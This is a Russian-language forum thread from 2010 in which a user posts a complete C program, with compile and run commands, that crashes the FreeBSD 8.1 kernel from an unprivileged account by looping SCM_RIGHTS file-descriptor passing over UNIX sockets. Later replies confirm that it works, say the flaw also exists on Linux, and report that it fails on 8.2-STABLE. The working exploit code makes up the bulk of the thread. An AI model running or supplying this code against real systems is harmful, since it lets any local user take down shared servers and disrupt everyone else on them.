Kernal panic. Exploit для local user. Когда фикс?

Обсуждение всяких разных новостей.
Аватара пользователя
gx_ua
сержант
Сообщения: 164
Зарегистрирован: 2009-03-01 0:50:11
Откуда: Киев
Контактная информация:

Kernal panic. Exploit для local user. Когда фикс?

Непрочитанное сообщение gx_ua » 2010-11-26 20:41:27

http://www.opennet.ru/openforum/vsluhfo ... ?n=oops#52

8.1 STABLE - кернел паник.

эт че простой юзер может положить серв.?
Когда интересно фикс будет...

код с опеннета:

Код: Выделить всё

panic.c:

#include <sys/socket.h>
#include <sys/un.h>
#include <sys/mount.h>
#include <sys/wait.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static int send_fd (int unix_fd, int fd)
{
  struct msghdr msgh;
  struct cmsghdr *cmsg;
  char buf[CMSG_SPACE (sizeof (fd))];
  memset (&msgh, 0, sizeof (msgh));
  memset (buf, 0, sizeof (buf));

  msgh.msg_control = buf;
  msgh.msg_controllen = sizeof (buf);

  cmsg = CMSG_FIRSTHDR (&msgh);
  cmsg->cmsg_len = CMSG_LEN (sizeof (fd));
  cmsg->cmsg_level = SOL_SOCKET;
  cmsg->cmsg_type = SCM_RIGHTS;

  msgh.msg_controllen = cmsg->cmsg_len;

  memcpy (CMSG_DATA (cmsg), &fd, sizeof (fd));
  return sendmsg (unix_fd, &msgh, 0);
}

int main ()
{
  int fd[2], ff[2];
  int target;
  if (socketpair (PF_UNIX, SOCK_DGRAM, 0, fd)==-1)
    return 1;
  for (;;)
  {
    if (socketpair (PF_UNIX, SOCK_DGRAM, 0, ff)==-1)
	return 2;
    send_fd (ff[0], fd[0]);
    send_fd (ff[0], fd[1]);
    close (fd[1]);
    close (fd[0]);
    fd[0] = ff[0];
    fd[1] = ff[1];
  }
}

Код: Выделить всё

user> gcc -Wall panic.c -o panic
user> ls -l panic
-rwxr-xr-x  1 gx  wheel  5783 26 ноя 19:38 panic1
user> ./panic

Хостинговая компания Host-Food.ru
Хостинг HostFood.ru
 

Услуги хостинговой компании Host-Food.ru

Хостинг HostFood.ru

Тарифы на хостинг в России, от 12 рублей: https://www.host-food.ru/tariffs/hosting/
Тарифы на виртуальные сервера (VPS/VDS/KVM) в РФ, от 189 руб.: https://www.host-food.ru/tariffs/virtualny-server-vps/
Выделенные сервера, Россия, Москва, от 2000 рублей (HP Proliant G5, Intel Xeon E5430 (2.66GHz, Quad-Core, 12Mb), 8Gb RAM, 2x300Gb SAS HDD, P400i, 512Mb, BBU):
https://www.host-food.ru/tariffs/vydelennyi-server-ds/
Недорогие домены в популярных зонах: https://www.host-food.ru/domains/

Аватара пользователя
manefesto
Группенфюррер
Сообщения: 6934
Зарегистрирован: 2007-07-20 8:27:30
Откуда: Пермь
Контактная информация:

Re: Kernal panic. Exploit для local user. Когда фикс?

Непрочитанное сообщение manefesto » 2010-11-27 11:28:08

блин, работает.
пошел обновляться до stable
я такой яростный шо аж пиздеЦ
Изображение

Аватара пользователя
gonzo111
лейтенант
Сообщения: 648
Зарегистрирован: 2007-11-15 16:32:33
Откуда: China
Контактная информация:

Re: Kernal panic. Exploit для local user. Когда фикс?

Непрочитанное сообщение gonzo111 » 2010-11-27 21:28:34

стейбл тебе не поможет , кста эта уязвимость на линупсах тоже есть
уязвимость локальная, да и рута нельзя получить, так что , не сильно критично,
а кто будет баловатся бьем подзатыльник :-D
и помоему в login.conf можно что-то подкрутить тогда не так плачевно будет
ждемсс
Тяжело в учении легко в РАЮ!
беру зарплату гречкой и сахаром...
Наша комната - lissyara.su@conference.jabber.ru

Аватара пользователя
gx_ua
сержант
Сообщения: 164
Зарегистрирован: 2009-03-01 0:50:11
Откуда: Киев
Контактная информация:

Re: Kernal panic. Exploit для local user. Когда фикс?

Непрочитанное сообщение gx_ua » 2011-03-07 22:16:23

кстате на 8.2 STABLE не пашет)